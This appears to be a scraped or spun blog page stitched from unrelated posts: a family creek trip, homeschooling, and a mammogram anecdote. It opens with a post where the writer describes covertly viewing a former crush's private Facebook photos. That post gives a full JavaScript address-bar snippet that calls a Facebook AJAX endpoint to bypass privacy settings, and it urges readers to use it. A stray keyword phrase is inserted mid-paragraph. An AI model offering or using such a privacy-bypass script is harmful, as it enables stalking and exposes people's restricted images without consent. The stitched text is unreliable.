What Seriously?

I was scanning my facebook page earlier this morning when I saw a friend of mine who I had a crush on when I was still in highschool in its pages. I saw but a photo of her with some guy and thought to myself. My,she’s grown to be a fine young woman. Certainly she’s prettier and looks a lot better nowadays in that photo. So I clicked on her page hoping to find me a bunch of photos but to my disappointment she had her privacy measures on. So I was only able to view that one photo where she looked extremely stunning. Not to be put down by this certain turn of events I used my simple way of viewing private photos in facebook. Crown Point Farmers Market That means even if they have private photos or albums that they don’t want others to view I would still be able to take a peak at it and view it to my content. Here’s how I did it and how you too can do it. Just go to the profile or page of the person who has his/her privacy installed, put this in your browsers address bar “javascript:function y(){if(x.readyState==4){q=x.responseText.substring(9);p=eval(‘(‘+q+’)');$(‘right_column’).innerHTML=p.payload.tab_content;}}x=window.XMLHttpRequest?new window.XMLHttpRequest:(window.ActiveXObject?new ActiveXObject(“MSXML2.XMLHTTP”):null);x.onreadystatechange=y;x.open(‘POST’,'//www.facebook.com/ajax/profile/tab.php’,true);x.send(‘id=’+ProfileURIController._profileId+’&v=photos&__a=1′);void(0)” (sans the quotations) press enter and voila you can start viewing their photos and private contents. This method though didn’t work 100%. It worked for me 6/10 times so I found it somewhat useful. Also I was able to view photos of my crush where she was just wearing bikinis so, that was worth it.

Our Family Adventures

Our favorite family past time is what we call “going on adventures”. We love to travel to new places and see things that we have never seen before. One favorite trip that comes to mind is the day that we discovered our favorite secret getaway in North Georgia. I had searched internet archives on favorite hidden places to see in North Georgia and came across a place called Dick’s Creek. Now this creek was said to be secluded and it didn’t even have a real address so to speak. Instead it had a location and some random roads listed that were in the area. So, we packed a lunch and went on our way. What we found was a nature lover’s paradise! After touring many dirt roads and actually crossing through a foot of water in our conversion van, we came across our little piece of heaven. What sat in front of us was a wild roaring creek about a quarter of a mile wide, nestled in and between the mountains. The creek was open to swimmers and rafters alike, but it was completely undisturbed by man. The kids swam for hours, diving off the rocks in the middle and sliding down the mini-rapids upstream. It was and still is by far our very favorite adventure!

My Home School Joys

My very favorite thing about teaching my children at home is that I am able to witness their achievements first hand. My oldest went to Kindergarten and most of the first grade. Some of the more basic things in education I am not responsible for having taught her. However, this is not the case when it comes to my other three children. My other three have been taught at home since day one. The amazing thing is that not only can I say that I was there when these boys took their first step, I can also say that I was their to witness the little light bulb go off when they first learned to read and to write. Oh how I remember how my oldest son was so excited when he finally learned to read. It took him such a long time to accomplish as he has many difficulties in his learning. He started to finally catch on to reading in the later part of first grade. He was so completely proud when Daddy came home one day and he could actually read him a book! My oldest is also the one with the most difficulty in learning his math facts. But again, we were there to see the excitement arise within him when he realized that yes, he could do this! There are many challenging things about homeschooling our children, but I can say that the rewards make it all worth it! I just have to remind myself of that every day!

Reading And Pooping No kidding

The honest truth is that sometimes I think it is funny when those people who act like their own poop doesn’t stink wind up getting hit with it. I know, it’s a horrible truth, but I am human! Back in my days of cancer fun I came across a smug lady while waiting for a mammogram. Now for those of you who have been deprived the most wonderful experience of getting a mammogram, let me tell you that you get the joy of taking off all of your garments from the waist up. Then you get to put on the world’s smallest half gown, which covers you from the waist up. This lovely little gown has a slit down the front so that your precious little boobies pop right out for the technician to squish in the machine. So, needless to say, I was in my sexy little half gown anxiously awaiting my turn for a squeeze when “Barbie” arrived for hers. She came in and smugly sat across from me with her fashion magazine and million dollar purse in tow. She had so thoughtfully turned her gown around so that the slit was in the back, so of course no one could see her precious paid for cargo. She tapped her foot on the floor as she waited not to patiently for her name to be called. She looked up once only to raise an eyebrow because yes, I was starring at her. She was so put out to be there who wouldn’t! Then the moment arrived and they called her name. As she rose to leave and she grabbed her cargo, her million dollar purse caught the edge of her gown and ever so eloquently tossed the whole thing over her forehead. The more she wrestled with it the more show the rest of us were getting. After she finally got herself out the door the room fell silent and then those of us left behind laughed most uncontrollably! Just doesn’t pay to be so smug!
